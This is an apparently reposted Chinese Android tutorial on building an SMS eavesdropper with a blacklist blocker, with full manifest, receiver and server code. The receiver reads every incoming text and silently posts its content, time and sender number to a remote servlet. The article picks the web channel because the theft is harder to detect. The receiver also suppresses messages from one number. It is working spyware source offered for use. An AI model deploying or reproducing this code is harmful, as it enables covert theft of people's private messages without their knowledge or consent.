Android--短信窃听器及黑名单拦截

来源:互联网 发布:批量下载软件 编辑:程序博客网 时间:2024/04/29 09:12

一、短信窃听器原理:

   当系统收到短信时,会发出一个广播IntentIntentaction名称为android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,

  我们使用名称“pdus”既可以从Intent中户取到短信内容


二、获取窃听信息的方式有两种:

    一种将窃听的短信以短信转发的方式将短信发送给窃听者,需要走短信通道,所以扣除用户的费用,容易被发现。

    一种将窃听的短信息发送到web应用,因为走的是互联网络通道,所以无法查询访问了哪些网站,数据量较少,产生的流量费也不多,所以这种方式比较好。

  这里选用第二种方式


三、广播分为两种不同的类型:“普通广播(Normal broadcast)和”有序广播(Ordered broadcast

    普通广播

       完全异步的,可以在同一时刻(逻辑上)被所欲接收者接收到,相对有序广播消息传递的效率比较高,缺点:接收者不能将处理结果传递给下一个接收者,

       并且无法终止广播Intent的传播。


    有序广播

      按照接收者声明的优先级别,被接收者依次接收广播。如:A的优先级高于BB的优先级高于C,那么,广播先传给A,再传给B,最后传给C优先级别在

     <intent-filter>android.priority属性中声明,数值越大优先级越高,取值范围:-10001000,优先级别也可以调用IntentFilter对象的setPrority()进行设置。

   有序广播的接收者可以终止广播Intent的广播,广播Intent一旦终止,后面跟的接收者就无法接收到广播。另外,有序广播的接收者可以将数据传递给下一个

   接收者,如:A得到广播后,可以往它的结果独享中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。


四、发送两种广播方式的方法


Context.sendBroadcast()

发送的是普通广播,所有订阅者都有机会获得并进行处理


Context.sendOrderedBroadcast()

发送有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播。

对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象。然后传给下一个接收者,下一个接收者通

过代码:Bundle bundle = getResultExtras(true)可以获取上一个接收者存入在结果对象中的数据。


五、短信黑名单拦截的原理

系统受到短信,发出的广播属于有序广播。所以可以通过设置优先级,让自定义的接收者先获取到广播,然后终止广播,这样用户就接收不到短信了。


六、短信窃听器及黑名单拦截代码


演示过程:

开启两个Android模拟器,将该窃听器发布到一个模拟器5554上,用另外一个模拟器5556向5554发送信息,可以看到在控制台上打印了信息内容,时间,发送者等信息,而5554却没有任何响应,即没有收到信息


发现的错误:

    在注册广播时,将intent-filter的配置在了<receiver>外面,以至于没有注册成功,无法启动SMSBroadcastReceiver,在服务端一直未获得数据。


AndroidMainfest.xml 

    进行广播接收注册,短信,网络访问权限以及意图匹配

   在<intent-filter>android.priority属性中进行优先级声明,这里为最大1000

<application android:label="@string/app_name"        android:icon="@drawable/ic_launcher"        android:theme="@style/AppTheme">        <receiver android:name = ".SMSBroadcastReceiver">      <!-- 意图过滤器  -->     <intent-filter android:priority="1000">                  <action android:name="android.provider.Telephony.SMS_RECEIVED" />           </intent-filter>  </receiver>    </application>    <uses-permission android:name="android.permission.RECEIVE_SMS"/><uses-permission android:name="android.permission.INTERNET"/>


短信广播接收者

   在本应用中不需要创建Activity,只需创建一个短信接收继承自广播接收者即可

   在该类中提供了:

     获取短信息以及其更具体信息的方法

     由于我们要将信息发送到网络上,所以创建一个实现该功能的方法sendSMS2Web,该方法主要实现如何发送请求,以及请求的实体数据向服务器,以便获得服务

package cn.xushuai.smslistener;import java.io.IOException;import java.net.HttpURLConnection;import java.net.MalformedURLException;import java.net.URL;import java.net.URLEncoder;import java.text.SimpleDateFormat;import java.util.Date;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsMessage;//接收短信的广播接收者public class SMSBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Object[] pdus = (Object[]) intent.getExtras().get("pdus");for(Object obj : pdus){byte[] pdu = (byte[]) obj;//将对象转换为字节数组SmsMessage message = SmsMessage.createFromPdu(pdu);//使用pdu格式的数据生成短信对象String content = message.getMessageBody();Date date = new Date(message.getTimestampMillis());//获取发送时间SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String receiveTime = format.format(date);//获取指定格式发送日期String senderNumber = message.getOriginatingAddress();//发送者的号码System.out.println(receiveTime+".."+senderNumber);//将数据发送到网络sendSMS2Web(content,receiveTime,senderNumber);if("15555215556".equals(senderNumber)){abortBroadcast();}}}private boolean sendSMS2Web(String content, String receiveTime,String senderNumber){try{//构建实体数据String params = "content="+URLEncoder.encode(content, "UTF-8")+"&receivetime="+receiveTime+"&sendernumber="+senderNumber;byte[] entity = params.getBytes();String path = "http://10.1.8.153:8080/SMSServer/ReceiveSMSServlet";HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();conn.setConnectTimeout(5000);conn.setRequestMethod("POST");conn.setDoOutput(true);//允许对外输出数据conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");conn.setRequestProperty("Content-Length", String.valueOf(entity.length));conn.getOutputStream().write(entity);if(conn.getResponseCode()==200){return true;}}catch(Exception e){e.printStackTrace();}return false;}}


服务器

使用tomcat服务器创建一个web服务器,并提供一个ReceiveSMSServlet来提供信息的处理,这里打印到控制台

package cn.xushuai.servlet;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class ReceiveSMSServlet extends HttpServlet {private static final long serialVersionUID = 1L;       protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {doPost(request,response);}protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String content = request.getParameter("content");String receiveTime = request.getParameter("receivetime");String senderNumber = request.getParameter("sendernumber");System.out.println("短信内容:"+content);System.out.println("接收时间:"+receiveTime);System.out.println("短信发送者:"+senderNumber);}}